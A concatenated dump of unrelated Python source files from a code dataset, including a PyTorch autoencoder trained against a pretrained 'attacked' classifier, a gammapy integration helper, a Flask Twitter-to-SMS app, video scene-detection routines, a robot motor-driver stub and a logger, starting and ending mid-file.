fig.add_subplot(1, 3, 2, title='Noisy')\n plt.imshow(noisy)\n\n fig.add_subplot(1, 3, 3, title='Denoised')\n plt.imshow(denoised)\n\n fig.subplots_adjust(wspace=0.5)\n plt.show()\n\n\ndef train():\n\n # model = models.inception_v3(pretrained=True)\n\n # hyper-parameter\n batch_size = 1 # Reduce this if you get out-of-memory error\n learning_rate = 0.001\n noise_level = 0.1\n epoch = 10\n weight_re = 0.00001\n weight_cls = 1000\n\n data_dir = Path('D:/experiment_data/test')\n\n # Data loading code\n traindir = data_dir / 'train'\n traindir = str(traindir)\n\n valdir = data_dir / 'val'\n valdir = str(valdir)\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n transformations_train = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\n train_dataset = ImageNet(traindir, transformations_train)\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=batch_size, shuffle=True,\n num_workers=1)\n\n transformations_val = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,\n ])\n\n val_loader = ImageNet(valdir, transformations_val)\n\n val_loader = torch.utils.data.DataLoader(\n ImageNet(valdir, transformations_val),\n batch_size=batch_size, shuffle=True,\n num_workers=1)\n\n # Attention: Must before the construction of optimizer\n\n autoencoder = DenoisingAutoencoder().cuda() # Moves all model parameters and buffers to the GPU.\n classifier = Classifier().cuda()\n attacked = Attacked().cuda()\n\n parameters = list(autoencoder.parameters())\n\n # the first loss for reconstruction, the second for classifier to add noise\n loss_reconstruction = nn.MSELoss()\n loss_classifier = nn.NLLLoss()\n\n # construct a optimizer\n optimizer = torch.optim.Adam(parameters, lr=learning_rate)\n\n # train\n train_loss = []\n valid_loss = []\n\n for i in range(epoch):\n\n # Let's train the model\n total_loss = 0.0\n total_iter = 0\n print(\"Iteration \", i + 1)\n autoencoder.train() # set mode to train\n\n for image in train_loader:\n\n # image: batch size(250) * 3 * 32 * 32\n # label: 250\n image_n = image\n # move the datasets to GPU\n image = Variable(image).cuda()\n image_n = Variable(image_n).cuda()\n # Clears the gradients of all optimized torch.Tensors\n optimizer.zero_grad()\n # return the reconstructed image\n image_re = autoencoder(image_n)\n\n # return the result of softmax function\n _, predicted = torch.max(classifier(image_re), dim=1)\n\n attacked_predicted = torch.max(attacked(image_re), dim=1)\n attacked_max_pro, _ = torch.max(attacked_predicted)\n _, attacked_second = torch.max(attacked_predicted[attacked_predicted < attacked_max_pro])\n\n ground_label = attacked_second\n # loss is a 0-dim vector\n loss_re = loss_reconstruction(image_re, image)\n loss_predic = loss_classifier(predicted, ground_label)\n\n loss = weight_re * loss_re + weight_cls * loss_predic\n # calculate the gradients\n loss.backward()\n # update the parameters\n optimizer.step()\n\n total_iter += 1\n total_loss += loss.data.item()\n\n # Let's record the validation loss\n\n total_val_loss = 0.0\n total_val_iter = 0\n autoencoder.eval()\n for image, label in val_loader:\n noise = torch.randn(image.shape[0], 3, 32, 32) * noise_level\n image_n = torch.add(image, noise)\n\n image = Variable(image).cuda()\n image_n = Variable(image_n).cuda()\n\n output = autoencoder(image_n)\n loss = loss_reconstruction(output, image)\n\n total_val_iter += 1\n total_val_loss += loss.data.item()\n\n # Let's visualize the first image of the last batch in our validation set\n orig = image[0].cpu()\n noisy = image_n[0].cpu()\n denoised = output[0].cpu()\n\n orig = orig.data.numpy()\n noisy = noisy.data.numpy()\n denoised = denoised.data.numpy()\n\n show_img(orig, noisy, denoised)\n\n train_loss.append(total_loss / total_iter)\n valid_loss.append(total_val_loss / total_val_iter)\n\n # Save the model\n torch.save(autoencoder.state_dict(), \"./5.autoencoder.pth\")\n\n fig = plt.figure(figsize=(10, 7))\n plt.plot(train_loss, label='Train loss')\n plt.plot(valid_loss, label='Validation loss')\n plt.legend()\n plt.show()\n\n import random\n\n img, _ = random.choice(val_loader)\n img = img.resize_((1, 3, 32, 32))\n noise = torch.randn((1, 3, 32, 32)) * noise_level\n img_n = torch.add(img, noise)\n\n img_n = Variable(img_n).cuda()\n denoised = autoencoder(img_n)\n show_img(img[0].numpy(), img_n[0].data.cpu().numpy(), denoised[0].data.cpu().numpy())\n\n\nclass DenoisingAutoencoder(nn.Module):\n\n def __init__(self):\n super(DenoisingAutoencoder, self).__init__()\n # 32 x 32 x 3 (input)\n\n self.conv1e = nn.Conv2d(3, 24, 3, padding=2) # 30 x 30 x 24\n self.conv2e = nn.Conv2d(24, 48, 3, padding=2) # 28 x 28 x 48\n self.conv3e = nn.Conv2d(48, 96, 3, padding=2) # 26 x 26 x 96\n self.conv4e = nn.Conv2d(96, 128, 3, padding=2) # 24 x 24 x 128\n self.conv5e = nn.Conv2d(128, 256, 3, padding=2) # 22 x 22 x 256\n self.mp1e = nn.MaxPool2d(2, return_indices=True) # 11 x 11 x 256\n\n self.mp1d = nn.MaxUnpool2d(2) # 22 x 22 x 256\n self.conv5d = nn.ConvTranspose2d(256, 128, 3, padding=2)# 24 x 24 x 128\n self.conv4d = nn.ConvTranspose2d(128, 96, 3, padding=2)# 26 x 26 x 96\n self.conv3d = nn.ConvTranspose2d(96, 48, 3, padding=2)# 28 x 28 x 48\n self.conv2d = nn.ConvTranspose2d(48, 24, 3, padding=2) # 30 x 30 x 24\n self.conv1d = nn.ConvTranspose2d(24, 3, 3, padding=2)#32 x 32 x 3\n\n def forward(self, x):\n # Encoder\n x = self.conv1e(x)\n x = F.relu(x)\n x = self.conv2e(x)\n x = F.relu(x)\n x = self.conv3e(x)\n x = F.relu(x)\n x = self.conv4e(x)\n x = F.relu(x)\n x = self.conv5e(x)\n x = F.relu(x)\n x, i = self.mp1e(x)\n\n # Decoder\n x = self.mp1d(x, i)\n x = self.conv5d(x)\n x = F.relu(x)\n x = self.conv4d(x)\n x = F.relu(x)\n x = self.conv3d(x)\n x = F.relu(x)\n x = self.conv2d(x)\n x = F.relu(x)\n x = self.conv1d(x)\n x = F.relu(x)\n return x\n\n\nclass Classifier(nn.Module):\n\n def __init__(self):\n super(Classifier, self).__init__()\n load_model = models.alexnet()\n load_model.load_state_dict(torch.load('./net/alexnet.pth'))\n self.classifier = load_model\n self.softmaxFunc = nn.Softmax()\n\n def forward(self, x):\n x = self.classifier(x)\n x = self.softmaxFunc(x)\n return x\n\n\nclass Attacked(nn.Module):\n\n def __init__(self):\n super(Attacked, self).__init__()\n load_model = models.inception_v3()\n load_model.load_state_dict(torch.load('./net/inception_v3_google.pth'))\n self.classifier = load_model\n self.softmaxFunc = nn.Softmax()\n\n def forward(self, x):\n x = self.classifier(x)\n x = self.softmaxFunc(x)\n return x\n\n\nif __name__ == '__main__':\n train()\n","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":8998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"237974353","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nimport numpy as np\nfrom .interpolation import LogScale\n\n__all__ = [\"trapz_loglog\"]\n\n\ndef trapz_loglog(y, x, axis=-1):\n \"\"\"Integrate using the composite trapezoidal rule in log-log space.\n\n Integrate `y` (`x`) along given axis in loglog space.\n\n Parameters\n ----------\n y : array_like\n Input array to integrate.\n x : array_like, optional\n Independent variable to integrate over.\n axis : int, optional\n Specify the axis.\n\n Returns\n -------\n trapz : float\n Definite integral as approximated by trapezoidal rule in loglog space.\n \"\"\"\n from gammapy.modeling.models import PowerLawSpectralModel as pl\n\n # see https://stackoverflow.com/a/56840428\n x, y = np.moveaxis(x, axis, 0), np.moveaxis(y, axis, 0)\n\n emin, emax = x[:-1], x[1:]\n vals_emin, vals_emax = y[:-1], y[1:]\n\n # log scale has the build-in zero clipping\n log = LogScale()\n index = -log(vals_emin / vals_emax) / log(emin / emax)\n index[np.isnan(index)] = np.inf\n\n return pl.evaluate_integral(\n emin=emin, emax=emax, index=index, reference=emin, amplitude=vals_emin\n )\n","sub_path":"gammapy/utils/integrate.py","file_name":"integrate.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"111737666","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.preprocessing import PolynomialFeatures\nimport numpy as np\n\n# We will create some x-values and randomly choose some as data points\nX = np.linspace(0, 10, 100)\n# We are fixing the random number seed for consistency\nrn = np.random.RandomState(0)\n# Shuffle the data for variety\nrn.shuffle(X)\n# Grab the first 30 of our shuffled points and sort them for plotting\nX = np.sort(X[:30])\n# Our output will be a quadratic function\ny = X**2\n# We will add some variance to the data so that it's more interesting\ny = y + (((np.random.rand(30) * 2) - 1) * 30)\n\n# Plot data\nsns.set_style(\"darkgrid\")\nplt.scatter(X, y, marker='o')\nplt.xticks(())\nplt.yticks(())\nplt.tight_layout()\nplt.show()\n","sub_path":"code/overview/regularization/regularization_base.py","file_name":"regularization_base.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"258613553","text":"from flask import *\nfrom os import urandom\nimport db\nfrom twitter_query import *\nfrom send_sms import *\n\napp = Flask(__name__)\napp.secret_key = urandom(32)\n\n@app.route(\"/\", methods={'GET', 'POST'})\ndef login():\n if request.method == 'POST':\n twitterUsername = request.form.get('twitter-username')\n sentiment = ((int) (request.form.get('positive') == 'on') - (int) (request.form.get('negative') == 'on'))\n phone = request.form.get('phone-number')\n\n print(twitterUsername)\n print(sentiment)\n print(phone)\n\n threshold = 0.4\n\n # Not currently being used\n # db.query_db(\"userdata.db\", \"INSERT INTO user_data ('sentiment', 'twitter_username', 'email') VALUES (?, ?, ?)\",\n # ((sentiment) * threshold, twitterUsername, email) )\n # print(db.to_list(\"userdata.db\"))\n\n # Copied from Dryve (can see site at dryve.gq)\n # try:\n # # Specify the CLIENT_ID of the app that accesses the backend:\n # idinfo = id_token.verify_oauth2_token(request.form[\"id_token\"], requests.Request(),\n # \"774990506311-e1ot6iitq72uvnk4f5stsc1rfjqr8le6.apps.googleusercontent.com\")\n #\n # # Or, if multiple clients access the backend server:\n # # idinfo = id_token.verify_oauth2_token(token, requests.Request())\n # # if idinfo['aud'] not in [CLIENT_ID_1, CLIENT_ID_2, CLIENT_ID_3]:\n # # raise ValueError('Could not verify audience.')\n #\n # if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']:\n # raise ValueError('Wrong issuer.')\n #\n # # If auth request is from a G Suite domain:\n # # if idinfo['hd'] != GSUITE_DOMAIN_NAME:\n # # raise ValueError('Wrong hosted domain.')\n #\n # # ID token is valid. Get the user's Google Account ID from the decoded token.\n # userid = idinfo['sub']\n # session['name'] = userid\n # user = User(idinfo['name'], userid)\n # db.store_user(user)\n # prev = session.get('prev')\n # return redirect(prev if prev is not None else '/drive')\n # except ValueError:\n # # Invalid token\n # pass\n\n replies = get_replies(twitterUsername)\n print(replies)\n print(filter_replies(replies, threshold))\n replies = filter_replies(replies, threshold)\n send_text(format_message(sentiment, replies), phone)\n\n return render_template('index.html')\n\n\nif __name__ == \"__main__\":\n #db.query_db(\"userdata.db\", \"INSERT INTO user_data ('sentiment', 'twitter_username', 'email') VALUES (?, ?, ?)\", (0.5, \"Justin\", \"jzhu2020@k12.andoverma.us\"))\n #print(db.toList(\"userdata.db\"))\n #print(db.getRow(\"userdata.db\", 1))\n app.run()\n","sub_path":"Website/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"397751127","text":"from django.test import TestCase\n\nfrom authors.tests.factories import AuthorFactory\nfrom books.tests.factories import BookFactory\n\n\nclass BookModelsTest(TestCase):\n def setUp(self):\n self.authors_factory = AuthorFactory()\n self.book = BookFactory(authors=[self.authors_factory])\n\n def test_01_unicode(self):\n \"Book description must be a unicode\"\n authors_list = \", \".join(\n str(author) for author in self.book.authors.all())\n self.assertEqual(\n str(self.book),\n u\"{}, {}, {}\".format(self.book.name, self.book.publication_year,\n authors_list))\n","sub_path":"src/books/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"499950655","text":"import sys\nimport copy\nfrom ast import *\nfrom indent import Indent\nfrom colors import Colors\n\n\nclass Parser:\n\n\n def __init__(self, verbose=False):\n '''\n Parser constructor\n ---\n Args: boolean verbose\n Returns: None\n '''\n self.indentator = Indent(verbose)\n self.tokens = []\n self.errors = 0\n\n def show_next(self, n=1):\n '''\n Returns the next token in the list while not poping it output\n ---\n Args : int n (optional) the index of the targetted token\n Returns: token with index n from the tokens list\n '''\n try:\n return self.tokens[n - 1]\n except IndexError:\n print('ERROR: no more tokens left!')\n sys.exit(1)\n\n def expect(self, kind):\n '''\n Pops the next token from the tokens list and tests its type\n ---\n Args : string kind, the wanted kind\n Returns: next token from the list\n '''\n actualToken = self.show_next()\n actualKind = actualToken.kind\n actualPosition = actualToken.position\n if actualKind == kind:\n return self.accept_it()\n else:\n print('Error at {}: expected {}, got {} instead'.format(str(actualPosition), kind, actualKind))\n sys.exit(1)\n\n # same as expect() but no error if not correct kind\n def maybe(self, kind):\n '''\n Pops the next token from the tokens list without raising error on its type\n ---\n Args : string kind, the wanted kind\n Returns: next token from the list\n '''\n if self.show_next().kind == kind:\n return self.accept_it()\n\n def accept_it(self):\n '''\n\n '''\n token = self.show_next()\n output = Colors.FAIL + token.value + Colors.ENDC\n self.indentator.say(output)\n return self.tokens.pop(0)\n\n def remove_comments(self):\n '''\n Removes the comments from the token list\n ---\n Args: None\n Return : None\n '''\n result = []\n for token in self.tokens:\n if token.kind == 'COMMENT':\n pass\n else:\n result.append(token)\n return result\n\n def remove_comments_whitespace(self):\n '''\n Removes the comments and the whitespaces from the token list\n ---\n Args: None\n Return : None\n '''\n result = []\n for token in self.tokens:\n if token.kind == 'COMMENT' or token.value==\" \":\n pass\n else:\n result.append(token)\n return result\n \n\n","sub_path":"parserGenerator/templates/parser/body.py","file_name":"body.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"239927670","text":"#!/usr/bin/env python3\n\"Quickly capture something to todays journal.\"\"\"\nimport textwrap\nfrom pathlib import Path\nfrom datetime import date, datetime\n\n\ndef capture():\n \"\"\"Capture a note and save to todays journal.\"\"\"\n notedir = Path(\"~/code/knowledge/journal\").expanduser()\n todays_journal = notedir / date.today().strftime(\"%Y-%m-%d-%A.md\")\n timestamp = datetime.now().strftime(\"(%H:%M)\")\n contents = todays_journal.read_text().splitlines()\n print(\"\\nCapture note to today's journal\")\n note = f\"**{timestamp}** \" + input(\"> \")\n first_h2 = [i for i, n in enumerate(contents) if n[:2] == '##']\n if first_h2:\n contents.insert(first_h2[0], f\"{textwrap.fill(note, 80)}\\n\")\n else:\n contents.insert(1, f\"\\n{textwrap.fill(note, 80)}\")\n todays_journal.write_text('\\n'.join(contents))\n\n\nif __name__ == \"__main__\":\n capture()\n","sub_path":"bin/capture/capture_note.py","file_name":"capture_note.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"185785602","text":"# encoding=utf-8\n\nimport pickle\n\nfrom SDK.PickleSaveSub import dumpP, loadP\n\na = [1, 2, 3]\nb = [4, 5, 6]\n\ndumpP(a, './', 'test')\n\nr1 = loadP('./', 'test')\n\ndumpP(b, './', 'test')\n\nr2 = loadP('./', 'test')\n\nend = 0\n\n\ndef Load():\n d = {}\n with open('test.txt', 'rb') as f:\n while True:\n try:\n a = pickle.load(f)\n except EOFError:\n break\n else:\n d.update(a)","sub_path":"Experiment/Test/pickle_clear_memo.py","file_name":"pickle_clear_memo.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"608701598","text":"\"\"\"Scene detection algorithms\n\nreferences:\nhttps://bcastell.com/posts/scene-detection-tutorial-part-1/\n\"\"\"\nimport cv2\nfrom PIL import Image\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.ndimage as ndimage\nimport json\n\n\ndef naive(cap: cv2.VideoCapture, **kwargs) -> []:\n \"\"\"Compute the time of the cuts in the video,\n :return a list of the frame numbers where cut occurs\n \"\"\"\n means = []\n cuts = []\n while True:\n (rv, im) = cap.read() # im is a valid image if and only if rv is true\n if not rv:\n break\n frame_mean = im.mean()\n threshold = 5\n if means and abs(frame_mean - means[-1]) > threshold:\n frame_no = int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n cuts.append(frame_no)\n\n means.append(frame_mean)\n\n cap.set(cv2.CAP_PROP_POS_FRAMES, 0) # rewind video for further uses\n return cuts\n\n\ndef naive_double_cap(cap: cv2.VideoCapture, **kwargs) -> []:\n \"\"\"Compute the time of the cuts in the video,\n :return a list of the frame numbers where cut occurs\n \"\"\"\n tb = 22\n ts = 2\n\n means = []\n cuts = []\n Fs = None\n while True:\n (rv, im) = cap.read() # im is a valid image if and only if rv is true\n if not rv:\n break\n frame_no = int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n means.append(im.mean())\n if len(means) == 1:\n continue\n delta = abs(means[-2] - means[-1])\n if delta > tb:\n cuts.append(frame_no)\n Fs = None\n elif delta > ts:\n if not Fs:\n Fs = means[-1]\n elif abs(means[-1] - Fs) > tb:\n cuts.append(frame_no)\n Fs = None\n else:\n Fs = None\n\n cap.set(cv2.CAP_PROP_POS_FRAMES, 0) # rewind video for further uses\n return cuts\n\n\ndef fade_cut_generator(cap: cv2.VideoCapture, threshold=100):\n means = []\n while True:\n rv, im = cap.read()\n if not rv:\n break\n current_mean = im.mean()\n\n if means and ((current_mean >= threshold and means[-1] < threshold)\n or (current_mean < threshold and means[-1] >= threshold)):\n yield int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n\n means.append(current_mean)\n\n\ndef fade_cuts(cap: cv2.VideoCapture, **kwargs) -> []:\n \"\"\" Compute the times of cuts in the video using the tutorial\n https://bcastell.com/posts/scene-detection-tutorial-part-1/\n which is used to solve the problem of fade-cuts getting passed the naive\n algorithm.\n \"\"\"\n\n threshold = kwargs.get('threshold', 100)\n # Doing it with a for-loop simply to get prints as it finds them, otherwise,\n # just replace with:\n # return list(fade_cut_generator(cap, threshold)\n\n cuts = []\n for cut in fade_cut_generator(cap, threshold):\n # print(\"cut found at {}\".format(cut))\n cuts.append(cut)\n\n cap.set(cv2.CAP_PROP_POS_FRAMES, 0) # rewind video for further uses\n return cuts\n\n\ndef hybrid(cap: cv2.VideoCapture, **kwargs) -> []:\n return sorted(naive(cap, **kwargs) + fade_cuts(cap, **kwargs))\n\n\ndef manhattan_distance(l1, l2):\n return sum([abs(l1[i] - l2[i]) for i in range(4)])\n\n\ndef multimean(im):\n w = im.shape[0]\n h = im.shape[1]\n top_left = im[:w // 2, :h // 2, :]\n top_right = im[w // 2:, :h // 2, :]\n bottom_left = im[:w // 2, h // 2:, :]\n bottom_right = im[w // 2:, h // 2:, :]\n return [\n top_left.mean(),\n top_right.mean(),\n bottom_left.mean(),\n bottom_right.mean(),\n ]\n\n\ndef multimean_cuts_generator(cap: cv2.VideoCapture, **kwargs) -> []:\n threshold = kwargs.get('threshold', 30)\n if threshold is None:\n threshold = 30\n multimeans = []\n while True:\n rv, im = cap.read()\n if not rv:\n break\n\n current_multimean = multimean(im)\n\n if multimeans and abs(manhattan_distance(multimeans[-1],\n current_multimean)) > threshold:\n yield int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n\n multimeans.append(current_multimean)\n\n\ndef multimean_cuts(cap: cv2.VideoCapture, **kwargs) -> []:\n cuts = []\n for cut in multimean_cuts_generator(cap, **kwargs):\n cuts.append(cut)\n\n return cuts\n\n\ndef edge_detection(cap: cv2.VideoCapture, **kwargs) -> []:\n cuts = []\n i = 0\n D_list = []\n deltas = []\n last_delta = 0\n while True:\n (rv, im) = cap.read() # im is a valid image if and only if rv is true\n if not rv:\n break\n im = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) # convert from BGR to RGB\n\n E = cv2.Canny(im, 0, 500)\n D_list.append(255 - expand_edges_fast(E))\n if len(D_list) < 2:\n continue\n delta = np.sum(np.multiply(E, D_list[-2])) / np.sum(D_list[-2]) * 100\n\n deltas.append(delta)\n match = abs(delta-last_delta) > 0.5\n if match:\n cuts.append(int(cap.get(cv2.CAP_PROP_POS_FRAMES)))\n i += 1\n # print(\"{}: {} \".format(i, delta-last_delta))\n last_delta = delta\n\n cap.set(cv2.CAP_PROP_POS_FRAMES, 0) # rewind video for further uses\n # plt.plot(deltas), plt.show()\n return cuts\n\n\ndef expand_edges(img: np.array) -> np.array:\n neighbors = np.array([[1, 1, 1],\n [1, 0, 1],\n [1, 1, 1]])\n return ndimage.generic_filter(\n img,\n lambda x: 0 if x.any() else 1,\n footprint=neighbors)\n\n\ndef expand_edges_fast(img: np.array) -> np.array:\n return cv2.GaussianBlur(img, (3, 3), 0)\n\n\ndef edge_detection_cached(cap: cv2.VideoCapture, **kwargs) -> []:\n with open('rho_value.json') as f:\n rho_values = json.loads(f.read())\n\n threshold = 0.8\n intervals = []\n rho_max_values = [max(d[1], d[2]) for d in rho_values]\n L = len(rho_max_values)\n i = 0\n while i < L:\n\n rho = rho_max_values[i]\n if rho > threshold:\n start = i\n while i < L and rho_max_values[i] > threshold:\n i += 1\n\n intervals.append((start, i))\n\n i += 1\n\n print(intervals)\n return [int((interval[0] + interval[1])/2.0) for interval in intervals]\n\n\ndef plot_array(arr, title='image') -> None:\n plt.plot(122), plt.imshow(arr, cmap='gray')\n plt.title(title), plt.xticks([]), plt.yticks([])\n plt.show()\n\n","sub_path":"src/detectionalgo.py","file_name":"detectionalgo.py","file_ext":"py","file_size_in_byte":6391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"532214244","text":"import time\nimport traitlets\nfrom traitlets.config.configurable import SingletonConfigurable\n#from Adafruit_MotorHAT import Adafruit_MotorHAT\nfrom .motor import Motor\n\n#--\nclass P_DCMotor:\n def __init__(self, controller, num):\n self.MC = controller\n self.motornum = num\n pwm = in1 = in2 = 0\n\n if (num == 0):\n pwm = 8\n in2 = 9\n in1 = 10\n elif (num == 1):\n pwm = 13\n in2 = 12\n in1 = 11\n elif (num == 2):\n pwm = 2\n in2 = 3\n in1 = 4\n elif (num == 3):\n pwm = 7\n in2 = 6\n in1 = 5\n else:\n raise NameError('MotorHAT Motor must be between 1 and 4 inclusive')\n self.PWMpin = pwm\n self.IN1pin = in1\n self.IN2pin = in2\n\n def run(self, command):\n if not self.MC:\n return\n if (command == P_MotorHAT.FORWARD):\n self.MC.setPin(self.IN2pin, 0)\n self.MC.setPin(self.IN1pin, 1)\n if (command == P_MotorHAT.BACKWARD):\n self.MC.setPin(self.IN1pin, 0)\n self.MC.setPin(self.IN2pin, 1)\n if (command == P_MotorHAT.RELEASE):\n self.MC.setPin(self.IN1pin, 0)\n self.MC.setPin(self.IN2pin, 0)\n def setSpeed(self, speed):\n if (speed < 0):\n speed = 0\n if (speed > 255):\n speed = 255\n #extras\n self.MC.setPWM(self.PWMpin, 0, speed*16)\n#--HAT\nclass P_MotorHAT:\n FORWARD = 1\n BACKWARD = 2\n BRAKE = 3\n RELEASE = 4\n\n SINGLE = 1\n DOUBLE = 2\n INTERLEAVE = 3\n MICROSTEP = 4\n\n def __init__(self, addr = 0x60, freq = 1600, i2c=None, i2c_bus=None):\n #self._frequency = freq\n self.motors = [ P_DCMotor(self, m) for m in range(4) ]\n #self.steppers = [ Adafruit_StepperMotor(self, 1), Adafruit_StepperMotor(self, 2) ]\n #self._pwm = PWM(addr, debug=False, i2c=i2c, i2c_bus=i2c_bus)\n #self._pwm.setPWMFreq(self._frequency)\n\n def setPin(self, pin, value):\n if (pin < 0) or (pin > 15):\n raise NameError('PWM pin must be between 0 and 15 inclusive')\n if (value != 0) and (value != 1):\n raise NameError('Pin value must be 0 or 1!')\n if (value == 0):\n print(\"#w:setPin pin {} val {}\".format(pin, value))\n #self._pwm.setPWM(pin, 0, 4096)\n if (value == 1):\n print(\"#w:setPin pin {} val {}\".format(pin, value))\n #self._pwm.setPWM(pin, 4096, 0)\n\n def getMotor(self, num):\n if (num < 1) or (num > 4):\n raise NameError('MotorHAT Motor must be between 1 and 4 inclusive')\n return self.motors[num-1]\n def setPWM(self, channel, on, off):\n \"Sets a single PWM channel\"\n print(\"#w:setPWM chn {} on {} off {}\".format(channel, on, off))\n#--Robot\nclass Robot(SingletonConfigurable):\n \n left_motor = traitlets.Instance(Motor)\n right_motor = traitlets.Instance(Motor)\n\n # config\n i2c_bus = traitlets.Integer(default_value=1).tag(config=True)\n left_motor_channel = traitlets.Integer(default_value=1).tag(config=True)\n left_motor_alpha = traitlets.Float(default_value=1.0).tag(config=True)\n right_motor_channel = traitlets.Integer(default_value=2).tag(config=True)\n right_motor_alpha = traitlets.Float(default_value=1.0).tag(config=True)\n \n def __init__(self, *args, **kwargs):\n super(Robot, self).__init__(*args, **kwargs)\n self.motor_driver = P_MotorHAT (i2c_bus=self.i2c_bus)\n self.left_motor = Motor(self.motor_driver, channel=self.left_motor_channel, alpha=self.left_motor_alpha)\n self.right_motor = Motor(self.motor_driver, channel=self.right_motor_channel, alpha=self.right_motor_alpha)\n \n def set_motors(self, left_speed, right_speed):\n self.left_motor.value = left_speed\n self.right_motor.value = right_speed\n \n def forward(self, speed=1.0, duration=None):\n self.left_motor.value = speed\n self.right_motor.value = speed\n\n def backward(self, speed=1.0):\n self.left_motor.value = -speed\n self.right_motor.value = -speed\n\n def left(self, speed=1.0):\n self.left_motor.value = -speed\n self.right_motor.value = speed\n\n def right(self, speed=1.0):\n self.left_motor.value = speed\n self.right_motor.value = -speed\n\n def stop(self):\n self.left_motor.value = 0\n self.right_motor.value = 0","sub_path":"jetbot/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":4534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"39645999","text":"import sys\nimport logging\nimport datetime\n\n\nclass Logger:\n\n log_file = None\n logger_names = []\n\n def __init__(self, name, log_path, console=True):\n self.console = console\n self.logger = logging.getLogger(name)\n if log_path:\n self.log_path = log_path\n self.logger.setLevel(logging.INFO)\n self.init_handler(name)\n else:\n self.log_path = None\n\n def init_handler(self, name):\n file_path = '%s/%s.log'%(self.log_path, datetime.date.today())\n if Logger.log_file != file_path:\n Logger.log_file = file_path\n Logger.logger_names = []\n if name not in Logger.logger_names:\n fh = logging.FileHandler(file_path)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n self.logger.addHandler(fh)\n Logger.log_file = file_path\n Logger.logger_names.append(name)\n\n def output_console(self, customized_console):\n if customized_console is None:\n return self.console\n else:\n return customized_console\n\n def info(self, content, console = None):\n if self.output_console(console):\n sys.stdout.write('%s\\n'%content)\n if self.log_path:\n self.logger.info(content)\n\n def error(self, content, console = None):\n if self.output_console(console):\n sys.stderr.write('%s\\n'%content)\n if self.log_path:\n self.logger.error(content)\n\n def warning(self, content, console = None):\n if self.output_console(console):\n sys.stderr.write('%s\\n'%content)\n if self.log_path:\n self.logger.warning(content)\n\n def exception(self, content, console = None):\n if self.output_console(console):\n sys.stderr.write('%s\\n'%content)\n if self.log_path:\n self.logger.exception(content)\n\n\nclass LoggerFactory(object):\n\n\t# BUG: below codes has bug which would lead to no log in new created file...\n # _logger_dic = {}\n # _current_date = datetime.date.today()\n #\n # @staticmethod\n # def get_logger(name, log_path, console=True):\n # key = \"%s%s\" % (name, log_path)\n # if key not in DailyLoggerFactory._logger_dic.keys() or DailyLoggerFactory._current_date != datetime.date.today():\n # logger = Logger(name, log_path, console)\n # DailyLoggerFactory._logger_dic[key] = logger\n # DailyLoggerFactory._current_date = datetime.date.today()\n # return logger\n # else:\n # return DailyLoggerFactory._logger_dic[key]\n\n @staticmethod\n def create_daily_logger(name, log_path, console=True):\n return Logger(name, log_path, console)","sub_path":"utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"217446873","text":"from fantasyGame import displayInventory\n\ndef addToInventory(inventory, addedItems):\n for v in addedItems:\n if v in inventory:\n inventory[v] += 1\n else:\n inventory[v] = 1\n return inventory\n\n\ninv = {'gold coin': 42, 'rope': 1}\ndragonLoot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby']\ninv = addToInventory(inv, dragonLoot)\ndisplayInventory(inv)","sub_path":"ch05/practice-projects/fantasyGameLoot.py","file_name":"fantasyGameLoot.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"462764974","text":"# coding: utf-8\nimport random\nimport time\nimport typing\n\nfrom opencombat.const import COLLECTION_ALIVE\nfrom opencombat.simulation.base import AliveSubjectBehaviour\nfrom opencombat.simulation.event import NoLongerVisibleOpponent\nfrom opencombat.simulation.event import FireEvent\nfrom opencombat.simulation.event import DieEvent\nfrom opencombat.simulation.event import NewVisibleOpponent\nfrom opencombat.simulation.mechanism import OpponentVisibleMechanism\nfrom opencombat.user_action import UserAction\nfrom synergine2.simulation import Event\nfrom synergine2_xyz.move.simulation import MoveToBehaviour as 